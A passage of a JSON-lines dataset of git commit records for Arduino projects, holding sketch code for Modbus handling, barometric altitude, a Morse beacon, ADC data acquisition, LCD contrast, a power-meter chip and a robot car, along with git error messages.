slave_get_comm_event_counter();\n break;\n#endif\n#ifdef HAS_LOG\n case FC_GET_COMM_EVENT_LOG:\n if (is_broadcast)\n goto done;\n \n slave_get_comm_event_log();\n break;\n#endif\n#ifdef HAS_MULTI\n case FC_WRITE_MULTIPLE_COILS:\n slave_write_multiple_coils();\n break;\n#endif\n case FC_READ_HOLDING_REGISTERS:\n case FC_READ_INPUT_REGISTERS:\n if (is_broadcast)\n goto done;\n \n slave_read_registers();\n break;\n case FC_WRITE_SINGLE_REGISTER:\n slave_write_single_register();\n \n update_eeprom();\n break;\n#ifdef HAS_MULTI\n case FC_WRITE_MULTIPLE_REGISTERS:\n slave_write_multiple_registers();\n \n update_eeprom();\n break;\n#endif\n#ifdef HAS_SRVR_ID\n case FC_REPORT_SERVER_ID:\n if (is_broadcast)\n goto done;\n \n slave_report_server_id();\n break;\n#endif\n#ifdef HAS_FIFO\n case FC_READ_FIFO:\n if (is_broadcast)\n goto done;\n \n slave_read_fifo();\n break;\n#endif\n#ifdef HAS_FILES\n case FC_READ_FILE_RECORD:\n if (is_broadcast)\n goto done;\n \n slave_read_file_record();\n break;\n case FC_WRITE_FILE_RECORD:\n slave_write_file_record();\n break;\n#endif\n#ifdef HAS_MEI\n case FC_READ_MEI:\n if (is_broadcast)\n goto done;\n \n slave_read_device_identification();\n break;\n#endif\n default:\n if (is_broadcast)\n goto done;\n \n modbus_exception(EX_ILLEGAL_FUNCTION);\n break;\n }\ndone:\n modbus_in_cnt = 0;\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/sketches\/OSS_DAQ\/OSS_DAQ.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d0f9c1f84b3c48c5682db7ac37822cff12242f52","subject":"lots of tweaking with messaging between nirha 433 devices. still broken for floats","message":"lots of tweaking with messaging between nirha 433 devices. still broken for floats\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/controller\/src\/src.ino","new_file":"nduino\/controller\/src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c1dee14cd8eaabbc9341023aa593a812ea398d3d","subject":"Take example from https:\/\/github.com\/Fabio-Varesano-Association\/freeimu\/tree\/master\/libraries\/MS561101BA\/examples","message":"Take example from https:\/\/github.com\/Fabio-Varesano-Association\/freeimu\/tree\/master\/libraries\/MS561101BA\/examples\n","repos":"baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite","old_file":"Arduino\/MS561101BA_altitude\/MS561101BA_altitude.ino","new_file":"Arduino\/MS561101BA_altitude\/MS561101BA_altitude.ino","new_contents":"\/*\nMS561101BA_altitude.pde - Computes altitude from sea level using pressure readings from the sensor.\nThe algorithm uses the Hypsometric formula as explained in http:\/\/keisan.casio.com\/has10\/SpecExec.cgi?path=06000000.Science%2F02100100.Earth%20science%2F12000300.Altitude%20from%20atmospheric%20pressure%2Fdefault.xml&charset=utf-8\n\nCopyright (C) 2011 Fabio Varesano <fvaresano@yahoo.it>\n\nDevelopment of this code has been supported by the Department of Computer Science,\nUniversita' degli Studi di Torino, Italy within the Piemonte Project\nhttp:\/\/www.piemonte.di.unito.it\/\n\n\nThis program is free software: you can redistribute it and\/or modify\nit under the terms of the version 3 GNU General Public License as\npublished by the Free Software Foundation.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n\n\/\/#define DEBUG_V\n\n#include <Wire.h>\n\/\/#include <DebugUtils.h>\n#include <MS561101BA.h>\n\n\n#define MOVAVG_SIZE 32\n\nMS561101BA baro = MS561101BA();\n\nfloat movavg_buff[MOVAVG_SIZE];\nint movavg_i=0;\n\nconst float sea_press = 1013.25;\nfloat press, temperature;\n\nvoid setup() {\n Wire.begin();\n Serial.begin(115200);\n delay(1000);\n\n \/\/ Suppose that the CSB pin is connected to GND.\n \/\/ You'll have to check this on your breakout schematics\n baro.init(MS561101BA_ADDR_CSB_LOW); \n delay(100);\n \n \/\/ populate movavg_buff before starting loop\n for(int i=0; i<MOVAVG_SIZE; i++) {\n movavg_buff[i] = baro.getPressure(MS561101BA_OSR_4096);\n }\n}\n\nvoid loop() {\n Serial.print(\" temp: \");\n temperature = baro.getTemperature(MS561101BA_OSR_4096);\n Serial.print(temperature);\n Serial.print(\" degC pres: \");\n \n press = baro.getPressure(MS561101BA_OSR_4096);\n pushAvg(press);\n press = getAvg(movavg_buff, MOVAVG_SIZE);\n Serial.print(press);\n Serial.print(\" mbar altitude: \");\n Serial.print(getAltitude(press, temperature));\n Serial.println(\" m\");\n}\n\nfloat getAltitude(float press, float temp) {\n \/\/return (1.0f - pow(press\/101325.0f, 0.190295f)) * 4433000.0f;\n return ((pow((sea_press \/ press), 1\/5.257) - 1.0) * (temp + 273.15)) \/ 0.0065;\n}\n\nvoid pushAvg(float val) {\n movavg_buff[movavg_i] = val;\n movavg_i = (movavg_i + 1) % MOVAVG_SIZE;\n}\n\nfloat getAvg(float * buff, int size) {\n float sum = 0.0;\n for(int i=0; i<size; i++) {\n sum += buff[i];\n }\n return sum \/ size;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/MS561101BA_altitude\/MS561101BA_altitude.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f5dc20793abec1195dc7133b5f113296aa022c08","subject":"moved beacon project folder","message":"moved beacon project folder\n","repos":"simonmonk\/zombies,simonmonk\/zombies","old_file":"Arduino\/Project_19_Morse_Beacon\/Project_19_Morse_Beacon.ino","new_file":"Arduino\/Project_19_Morse_Beacon\/Project_19_Morse_Beacon.ino","new_contents":"#include <EEPROM.h>\n#include \"EEPROMAnything.h\"\n\nconst int ledPin = 13;\nint dotDelay = 100; \/\/ milliseconds\nconst int gapBetweenRepeats = 10; \/\/ seconds\nconst int maxMessageLen = 255;\nchar message[maxMessageLen];\nlong lastFlashTime = 0;\n\nchar* letters[] = {\n \".-\", \"-...\", \"-.-.\", \"-..\", \".\", \"..-.\", \"--.\", \"....\", \"..\", \/\/ A-I\n \".---\", \"-.-\", \".-..\", \"--\", \"-.\", \"---\", \".--.\", \"--.-\", \".-.\", \/\/ J-R\n \"...\", \"-\", \"..-\", \"...-\", \".--\", \"-..-\", \"-.--\", \"--..\" \/\/ S-Z\n};\n\nchar* numbers[] = {\"-----\", \".----\", \"..---\", \"...--\", \"....-\", \".....\", \"-....\", \"--...\", \"---..\", \"----.\"};\n\nvoid setup() \n{\n pinMode(ledPin, OUTPUT);\n Serial.begin(9600);\n Serial.println(\"Ready\");\n EEPROM_readAnything(0, message);\n if (! isalnum(message[0]))\n {\n strcpy(message, \"SOS\");\n }\n flashMessage();\n}\n\nvoid loop() \n{\n char ch;\n if (Serial.available()) \/\/ is there anything to be read from USB?\n {\n int n = Serial.readBytesUntil('\\n', message, maxMessageLen-1);\n message[n] = '\\0';\n EEPROM_writeAnything(0, message);\n Serial.println(message);\n flashMessage();\n }\n if (millis() > lastFlashTime + gapBetweenRepeats * 1000L)\n {\n flashMessage();\n }\n}\n \nvoid flashMessage()\n{\n Serial.print(\"Sending: \");\n Serial.println(message);\n int i = 0;\n while (message[i] != '\\0' && i < maxMessageLen)\n {\n if (Serial.available()) return; \/\/ new message \n char ch = message[i];\n i++;\n if (ch >= 'a' && ch <= 'z')\n {\n flashSequence(letters[ch - 'a']);\n }\n else if (ch >= 'A' && ch <= 'Z')\n {\n flashSequence(letters[ch - 'A']);\n }\n else if (ch >= '0' && ch <= '9')\n {\n flashSequence(numbers[ch - '0']);\n }\n else if (ch == ' ')\n {\n delay(dotDelay * 4); \/\/ gap between words \n }\n }\n lastFlashTime = millis();\n}\n\nvoid flashSequence(char* sequence)\n{\n int i = 0;\n while (sequence[i] != NULL)\n {\n flashDotOrDash(sequence[i]);\n i++;\n }\n delay(dotDelay * 3); \/\/ gap between letters\n}\n\nvoid flashDotOrDash(char dotOrDash)\n{\n digitalWrite(ledPin, HIGH);\n if (dotOrDash == '.')\n {\n delay(dotDelay); \n }\n else \/\/ must be a -\n {\n delay(dotDelay * 3); \n }\n digitalWrite(ledPin, LOW); \n delay(dotDelay); \/\/ gap between flashes\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Project_19_Morse_Beacon\/Project_19_Morse_Beacon.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4071ebf48c44cf09486e7ead69dab52cfd469187","subject":"Recovered arduino due code","message":"Recovered arduino due code\n","repos":"xhaju\/lab-nanny,xhaju\/lab-nanny,xhaju\/lab-nanny","old_file":"arduino_firmware_io_due\/arduino_firmware_io_due.ino","new_file":"arduino_firmware_io_due\/arduino_firmware_io_due.ino","new_contents":"\/*\nlab-nanny Firmware\n\nController of the arduino that sends data from the inputs and performs actions depending\non the messages received.\n\nAnalog input on the analog pins is read-in at a sampling rate of ~xyz kS\/s\nThe sampling rate can be adjusted for more channels, or slower sampling rate, \n[channels must be enabled\/disabled by setting the registers in the setup() method below],\nby adjusting the sampling_time variable\n\nPySerial is used to grab the data from the serial port and read it into python.\n\n************\n** NOTE: the USB connection to the Arduino must be to the NATIVE port, not the programming port!\n************\n\nAuthor: David Paredes\n30\/09\/2015\n\nAdapted from James Keaveney's https:\/\/github.com\/jameskeaveney\/LiveArduinoData\n\n*\/\n\n\/\/ set up variables\nconst int buffer_length = 1; \/\/ length of data chunks sent at a time via SerialUSB\n\nconst int sampling_time_sleep = 50; \/\/ in micros\nunsigned long init_time = 0;\nint ledPin = 13;\nint maxDIPin = 14;\nint commandNumber =0;\n\nString strTime = \"\";\nString strOut = \"\";\nString strC0 = \"\";\nString strC1 = \"\";\nString strC2 = \"\";\nString strC3 = \"\";\nString strC4 = \"\";\nString strC5 = \"\";\nString strC6 = \"\";\nString strC7 = \"\";\nString strC8 = \"\";\nString strC9 = \"\";\nString strC10 = \"\";\nString strC11 = \"\";\n\n\/* To enable channels (see page 1338 of datasheet) of the AX pins.\nSee 1320 of datasheet for conversion ADXX->PAXX\nSee also http:\/\/www.arduino.cc\/en\/Hacking\/PinMappingSAM3X for the pin mapping \nbetween Arduino names and SAM3X pin names\n*\/\n \nconst int A0_PIN = 0b10000000;\nconst int A1_PIN = 0b1000000;\nconst int A2_PIN = 0b100000;\nconst int A3_PIN = 0b10000;\nconst int A4_PIN = 0b1000;\nconst int A5_PIN = 0b100;\nconst int A6_PIN = 0b10;\nconst int A7_PIN = 0b1;\nconst int A8_PIN = 0b10000000000;\nconst int A9_PIN = 0b100000000000;\nconst int A10_PIN = 0b1000000000000;\nconst int A11_PIN = 0b10000000000000;\n\n\/* The PIN_MAP is a mask that specifices which analog channels to read. It can be\n * constructed as the sum of the different AX_PIN constants. *\/\n\nconst int PIN_MAP = A0_PIN+A1_PIN+A2_PIN+A3_PIN+A4_PIN+A5_PIN+A6_PIN+A7_PIN;\n\n \/\/ There might be a problem if we \"activate\" a lot of the channels but they are not connected: \n \/\/ the \"floating\" signal wiggles when the rest of the lines are changed.\nunsigned long current_time;\n\nvoid setup() {\n \n \/\/ set ADC resolution\n analogReadResolution(12);\n \n \/\/ manually set registers for faster analog reading than the normal arduino methods\n ADC->ADC_MR |= 0xC0; \/\/ set free running mode (page 1333 of the Sam3X datasheet)\n ADC->ADC_CHER = PIN_MAP; \n ADC->ADC_CHDR = 0xFFFF-PIN_MAP; \/\/ disable all other channels\n ADC->ADC_CR=2; \/\/ begin ADC conversion\n \n \n \/\/ initialise serial port\n SerialUSB.begin(115200); \/\/ baud rate is ignored for USB - always at 12 Mb\/s\n while (!SerialUSB); \/\/ wait for USB serial port to be connected - wait for pc program to open the serial port\n init_time =millis();\n pinMode(11, OUTPUT);\n pinMode(12, OUTPUT);\n pinMode(13, OUTPUT);\n pinMode(14, OUTPUT);\n\n\n}\n\n\n\nvoid loop() {\n\n \/\/ data acquisition will start with a synchronisation step:\n \/\/ python should send a single byte of data, the arduino will send one back to sync timeouts\n int incoming = 0;\n if (SerialUSB.available() > 0) \/\/ polls whether anything is ready on the read buffer - nothing happens until there's something there\n {\n incoming = SerialUSB.read();\n \/\/ after data received, send the same back\n \/\/ if abs(incoming)<maxDIPin (14 in this case)\n commandNumber = incoming-65;\n if (abs(commandNumber)<=maxDIPin){\n if (commandNumber>=0){\n digitalWrite(abs(commandNumber),HIGH);\n SerialUSB.println(abs(commandNumber));\n } \/\/ Can be done faster toggling if PIND used\n else{\n digitalWrite(abs(commandNumber)-1,LOW); \n SerialUSB.println(abs(commandNumber)-1);\n }\n }\n else{SerialUSB.println(incoming);\n }\n \n \n \/\/ measure start time - then acquire data for an amount of time set by the acquisition_time variable\n unsigned long start_micros = micros();\n unsigned long start_time = millis();\n \n \/* Generate and concatenate strings. \n * In principle, this loop can be improved by just sending the byte\n * information of the different inputs *\/\n for (int jj = 0; jj < buffer_length; jj++)\n {\n \n \/\/ ADC acquisition\n \n \/\/ can put this in a small loop for some averaging if required - takes ~ 60 microsec per read\/concatenate cycle\n while((ADC->ADC_ISR & 0x80)!=0x80); \/\/ wait for conversion to complete - see page 1345 of datasheet \n \/\/ concatenate strings\n current_time = millis()-init_time;\n strTime.concat(current_time); \/\/ time axis\n strTime.concat(','); \n strC0.concat(ADC->ADC_CDR[7]); \/\/ read data from the channel data register\n strC0.concat(',');\n strC1.concat(ADC->ADC_CDR[6]); \/\/ read data from the channel data register\n strC1.concat(',');\n strC2.concat(ADC->ADC_CDR[5]); \/\/ read data from the channel data register\n strC2.concat(',');\n strC3.concat(ADC->ADC_CDR[4]); \/\/ read data from the channel data register\n strC3.concat(',');\n strC4.concat(ADC->ADC_CDR[3]); \/\/ read data from the channel data register\n strC4.concat(',');\n strC5.concat(ADC->ADC_CDR[2]); \/\/ read data from the channel data register\n strC5.concat(',');\n strC6.concat(ADC->ADC_CDR[1]); \/\/ read data from the channel data register\n strC6.concat(',');\n strC7.concat(ADC->ADC_CDR[0]); \/\/ read data from the channel data register\n strC7.concat(',');\n \n \/\/Serial.print(current_time);\n \/\/Serial.print(\",\");\n \n delayMicroseconds(sampling_time_sleep); \/\/ limit sampling rate to something reasonable - a few kS\/s\n } \n \/\/ send data via SerialUSB\n \/\/ perform a flush first to wait for the previous buffer to be sent, before overwriting it\n SerialUSB.flush();\n strOut = strTime + strC0 + strC1 + strC2 + strC3 + strC4 + strC5 + strC6 + strC7; \n SerialUSB.print(strOut); \/\/ doesn't wait for write to complete before moving on\n \n \/\/ clear string data - re-initialise\n strTime = \"\";\n strC0 = \"\";\n strC1 = \"\";\n strC2 = \"\";\n strC3 = \"\";\n strC4 = \"\";\n strC5 = \"\";\n strC6 = \"\";\n strC7 = \"\";\n strC8 = \"\";\n strC9 = \"\";\n \/\/ finally, print end-of-data and end-of-line character to signify no more data will be coming\n SerialUSB.println(\"\\0\");\n \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_firmware_io_due\/arduino_firmware_io_due.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6a3ef20f1f6e501e592f1163de973bddc629febd","subject":"Add example to help find suitable contrast value.","message":"Add example to help find suitable contrast value.\n","repos":"sleemanj\/PCD8544_Simple","old_file":"examples\/A01_ContrastHelper\/A01_ContrastHelper.ino","new_file":"examples\/A01_ContrastHelper\/A01_ContrastHelper.ino","new_contents":"\/** Contrast Helper\n * \n * Loops through a range of contrast values and prints each one.\n * \n * To set the contrast in your sketch, simply put lcd.setContrast(xx); \n * after your lcd.begin().\n * \n * Experimentally determined, contrast values around 65-70 tend to \n * work reasonably well on most displays. The best contrast value\n * for each display is specific to that particular display due to\n * manufacturing tolerances and so forth.\n * \n *\/\n \n#include <SPI.h>\n#include \"PCD8544_Simple.h\"\n\nPCD8544_Simple lcd;\nconst uint8_t contrastMin = 40;\nconst uint8_t contrastMax = 80;\nstatic uint8_t contrastDirection = 1;\nstatic uint8_t contrast = (contrastMax-contrastMin)\/2+contrastMin;\n\nvoid setup()\n{\n lcd.begin(); \n}\n\nvoid loop()\n{ \n if(contrastDirection)\n {\n if(contrast++ > contrastMax)\n {\n contrastDirection = 0;\n }\n } \n else\n {\n if(contrast-- < contrastMin)\n {\n contrastDirection = 1;\n } \n }\n \n lcd.setContrast(contrast); \n lcd.print(\"lcd.setContrast(\");\n lcd.print(contrast);\n lcd.println(\");\");\n \n delay(500); \n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/A01_ContrastHelper\/A01_ContrastHelper.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"bfdcdb7d934feb8b814921d2573c7b1268b53146","subject":"<BIG>change expl logic; add explain","message":"<BIG>change expl logic; add explain\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"498cf7dfd8e4c75bc870dd461323da8e36d55e48","subject":"* 0.95 for tuninng","message":"* 0.95 for tuninng\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"57857543bd1b814a1352870c7829740f6057ddb7","subject":"arduino bluetooth test between Serial Monitor and an external connection to the bluetooth module","message":"arduino bluetooth test between Serial Monitor and an external connection to the bluetooth module\n","repos":"nverdicchio\/soa-2017-bicicleta-inteligente,nverdicchio\/soa-2017-bicicleta-inteligente","old_file":"pocs\/bluetooth-software-serial\/BT_SendReceiveString_readStringFct.ino","new_file":"pocs\/bluetooth-software-serial\/BT_SendReceiveString_readStringFct.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nverdicchio\/soa-2017-bicicleta-inteligente.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e4aec478f2979fb0651c2cab9c797d0df567b891","subject":"Update Templete.ino","message":"Update Templete.ino","repos":"SirenCreatorTeam\/Siren_Zwei","old_file":"Arduino\/Templete\/Templete.ino","new_file":"Arduino\/Templete\/Templete.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/SirenCreatorTeam\/Siren_Zwei.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"e5cab5fb717ce9184e0639bba52baf8e2c4191bf","subject":"Adi\u00e7\u00e3o de um exemplo b\u00e1sico","message":"Adi\u00e7\u00e3o de um exemplo b\u00e1sico\n","repos":"tiagolobao\/CS5490","old_file":"examples\/CS5490_Basics.ino","new_file":"examples\/CS5490_Basics.ino","new_contents":"\n\n#include<CS5490.h>\n\n\nCS5490 line(MCLK_default,14,12);\n\n\nvoid setup() {\n \/\/Inicializa a comunica\u00e7\u00e3o com o CS5490\n \/\/600 \u00e9 a velocidade default do CI para comunica\u00e7\u00e3o serial\n line.begin(600);\n \/\/Inicializa a comunica\u00e7\u00e3o com o PC para debug\n Serial.begin(9600);\n}\n\nvoid loop() {\n \n \/\/Obtem informa\u00e7\u00e3o da configura\u00e7\u00e3o de calibra\u00e7\u00e3o do ganho de corrente\n line.getGainI();\n\n\n \/\/Printa essa informa\u00e7\u00e3o no Serial Monitor\n Serial.println(\"A informa\u00e7\u00e3o coletada \u00e9: \");\n Serial.println(line.data[0]);\n Serial.println(line.data[1]);\n Serial.println(line.data[2]);\n Serial.println(\"\\n\\n\");\n\n delay(5000);\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/CS5490_Basics.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4377a5020a8e920c2b8de2f2f4ba978ea4b30d7b","subject":"Added example sketch","message":"Added example sketch\n","repos":"hassanabidpk\/ArduinoJson,spotman\/ArduinoJson,AndreyAyres\/ArduinoJson,alyf80\/ArduinoJson,CanTireInnovations\/ArduinoJson,tirumalavan\/ArduinoJson,tirumalavan\/ArduinoJson,firepick1\/ArduinoJson,alyf80\/ArduinoJson,bblanchon\/ArduinoJson,AndreyAyres\/ArduinoJson,peterpolidoro\/ArduinoJson,CanTireInnovations\/ArduinoJson,lono-devices\/ArduinoJson,janelia-arduino\/ArduinoJson,venkatarajasekhar\/ArduinoJson,ELZo3\/ArduinoJson,weera00\/ArduinoJson,janelia-arduino\/ArduinoJson,venusdharan\/ArduinoJson,tirumalavan\/ArduinoJson,naveensuryakumar\/json,PeeJay\/ArduinoJson,janelia-arduino\/ArduinoJson,lono-devices\/ArduinoJson,chuz\/ArduinoJson,hassanabidpk\/ArduinoJson,firepick1\/ArduinoJson,AndreyAyres\/ArduinoJson,fayvlad\/ArduinoJson,ELZo3\/ArduinoJson,firepick1\/ArduinoJson,venkatarajasekhar\/ArduinoJson,peterpolidoro\/ArduinoJson,chuz\/ArduinoJson,PeeJay\/ArduinoJson,bblanchon\/ArduinoJson,ELZo3\/ArduinoJson,peterpolidoro\/ArduinoJson,janelia-arduino\/ArduinoJson,venusdharan\/ArduinoJson,PeeJay\/ArduinoJson,fayvlad\/ArduinoJson,0ddie\/ArduinoJson,hemantsangwan\/Arduino-Json,CanTireInnovations\/ArduinoJson,venusdharan\/ArduinoJson,spotman\/ArduinoJson,naveensuryakumar\/json,hassanabidpk\/ArduinoJson,hemantsangwan\/Arduino-Json,weera00\/ArduinoJson,chuz\/ArduinoJson,weera00\/ArduinoJson,spotman\/ArduinoJson,bblanchon\/ArduinoJson,peterpolidoro\/ArduinoJson,venkatarajasekhar\/ArduinoJson,0ddie\/ArduinoJson,alyf80\/ArduinoJson,lono-devices\/ArduinoJson,hemantsangwan\/Arduino-Json,fayvlad\/ArduinoJson,naveensuryakumar\/json","old_file":"examples\/JsonParserExample\/JsonParserExample.ino","new_file":"examples\/JsonParserExample\/JsonParserExample.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/CanTireInnovations\/ArduinoJson.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4dfa3496598ac0491661dcda22376cd727919292","subject":"Add Arduino Sketch for the car","message":"Add Arduino Sketch for the car\n","repos":"Sacusa\/FordMotors-SelfDrivingCar,falcon1996\/FordMotors-SelfDrivingCar,tanmay-e-patil\/FordMotors-SelfDrivingCar,falcon1996\/FordMotors-SelfDrivingCar,StrawHatDragon100\/FordMotors-SelfDrivingCar,falcon1996\/FordMotors-SelfDrivingCar,tanmay-e-patil\/FordMotors-SelfDrivingCar,Sacusa\/FordMotors-SelfDrivingCar,StrawHatDragon100\/FordMotors-SelfDrivingCar,Sacusa\/FordMotors-SelfDrivingCar,tanmay-e-patil\/FordMotors-SelfDrivingCar,StrawHatDragon100\/FordMotors-SelfDrivingCar,tanmay-e-patil\/FordMotors-SelfDrivingCar,Sacusa\/FordMotors-SelfDrivingCar","old_file":"Arduino\/car.ino","new_file":"Arduino\/car.ino","new_contents":"#include <NewPing.h>\n\n\/\/ Pins for ultrasonic sensors (HC-SR04).\n#define FRONT_US 9\n#define LEFT_US 8\n#define RIGHT_US 7\n\n\/\/ Baud rate for UART\n#define BAUD_RATE 115200\n\n\/\/ Pins for external speed control input.\n#define SPEED_INPUT2 A0\n#define SPEED_INPUT1 A1\n#define SPEED_INPUT0 A2\n\n\/\/ Pins for controlling the acceleration motors.\n#define SPEED_MOTOR_PIN1 11\n#define SPEED_MOTOR_PIN0 10\n\n\/\/ Pins for external turn control input.\n#define TURN_INPUT2 A3\n#define TURN_INPUT1 A4\n#define TURN_INPUT0 A5\n\n\/\/ Pins for controlling the turn motors.\n#define TURN_MOTOR_PIN1 6\n#define TURN_MOTOR_PIN0 5\n\n\/\/ Number of distance sensors.\n#define NUM_SENSORS 3\n\n\/\/ Constants defining direction of motion.\n#define MOVE_FORWARD 0\n#define MOVE_BACKWARD 1\n\n\/\/ Constants defining direction of turn.\n#define TURN_LEFT 1\n#define TURN_RIGHT 0\n\n\n\/\/ FUNCTION DECLARATIONS\nvoid echoCheck();\nvoid writeDistanceData();\nvoid initSpeedPins();\nunsigned int readSpeedInput();\nvoid writeSpeedData(unsigned int direction, unsigned int percent);\nvoid initTurnPins();\nunsigned int readTurnInput();\nvoid writeTurnData(unsigned int direction, unsigned int percent);\n\n\nNewPing sonar[NUM_SENSORS] = {{FRONT_US, FRONT_US, 200}, \/\/ sonar[0] => front sensor\n {LEFT_US, LEFT_US, 200}, \/\/ sonar[1] => left sensor\n {RIGHT_US, RIGHT_US, 200}}; \/\/ sonar[2] => right sensor\nunsigned int pingSpeed = 50; \/\/ Time (in milliseconds) between every distance sensor ping.\nunsigned long pingTimer; \/\/ Holds the next ping time (in milliseconds).\nunsigned long data[NUM_SENSORS]; \/\/ Holds the ping sensor data (in cm).\nunsigned int currentSensor; \/\/ Indicates the sensor to collect data from\n\n\n\/**\n * Sets up I\/O pins.\n * Sets up UART for communication with Raspberry Pi.\n * Initializes global variables.\n * Initializes Timer2 for ultrasonic sensor data recording.\n * \n * Input: None\n * Output: None\n *\/\nvoid setup() {\n initSpeedPins();\n initTurnPins();\n Serial.begin(BAUD_RATE); \/\/ UART setup\n \n for (int i = 0; i < NUM_SENSORS; ++i) {\n data[i] = 0;\n }\n\n pingTimer = millis(); \/\/ Start ultrasonic sensor timer.\n}\n\n\/**\n * This is the main thread of execution of the system. It does the following:\n * \n * 1. Update distance sensor timer data for Timer2 and read distance data.\n * 2. Read data for and configure speed control motors.\n * 3. Read data for and configure turn control motors.\n * \n * in a continuous loop.\n * \n * Input: None\n * Output: None\n *\/\nvoid loop() {\n \/\/ update distance data output\n if (millis() >= pingTimer) { \/\/ pingSpeed milliseconds since last ping, do another ping.\n pingTimer += pingSpeed; \/\/ Set the next ping time.\n\n \/\/ query each sensor sequentially\n for (currentSensor = 0; currentSensor < NUM_SENSORS; ++currentSensor) {\n sonar[currentSensor].ping_timer(echoCheck);\n }\n\n writeDistanceData(); \/\/ update UART output\n }\n\n \/\/ update speed motor output\n unsigned int speedInput = readSpeedInput();\n unsigned int speedPercent = 0;\n switch (speedInput & 0x03) {\n case 1: speedPercent = 33; break;\n case 2: speedPercent = 67; break;\n case 3: speedPercent = 100; break;\n }\n writeSpeedData(speedInput >> 2, speedPercent);\n\n \/\/ update turn motor output\n unsigned int turnInput = readTurnInput();\n unsigned int turnPercent = 0;\n switch (turnInput & 0x03) {\n case 1: turnPercent = 33; break;\n case 2: turnPercent = 67; break;\n case 3: turnPercent = 100; break;\n }\n writeTurnData(turnInput >> 2, turnPercent);\n}\n\n\/**\n * Timer2 ISR to read distance data from sensor \"currentSensor\" into\n * data[currentSensor].\n * \n * Input: None\n * Output: None\n *\/\nvoid echoCheck() {\n if (sonar[currentSensor].check_timer()) { \/\/ Check if the ping was received.\n \/\/ collect the data from the sensor\n data[currentSensor] = sonar[currentSensor].ping_result \/ US_ROUNDTRIP_CM;\n }\n}\n\n\/**\n * Writes the distance data into the UART, in the following order\n * \n * data[0]'\\r\\n'\n * data[1]'\\r\\n'\n * data[2]'\\r\\n'\n * ...\n * data[NUM_SENSORS - 1]'\\r\\n'\n * \n * Input: None\n * Output: None\n *\/\nvoid writeDistanceData() {\n for (int i = 0; i < NUM_SENSORS; ++i) {\n Serial.println(data[i]);\n }\n}\n\n\/**\n * Initializes pins for speed control I\/O.\n * \n * Input: None\n * Output: None\n *\/\nvoid initSpeedPins() {\n pinMode(SPEED_INPUT2, INPUT);\n pinMode(SPEED_INPUT1, INPUT);\n pinMode(SPEED_INPUT0, INPUT);\n pinMode(SPEED_MOTOR_PIN1, OUTPUT);\n pinMode(SPEED_MOTOR_PIN0, OUTPUT);\n}\n\n\/**\n * Reads and returns speed control data, which is in the range [0,3].\n * \n * Data in [0,3] signifies forward motion, with each higher number signifying\n * higher speed.\n * \n * Data in [4,7] signifies backward motion, with each higher number signifying\n * higher speed.\n * \n * Requires the following pins to be set to INPUT mode:\n * SPEED_INPUT2\n * SPEED_INPUT1\n * SPEED_INPUT0\n * \n * Input: None\n * Output: Speed data in the range [0,7]\n *\/\nunsigned int readSpeedInput() {\n \/\/ read bit 2\n unsigned int data = 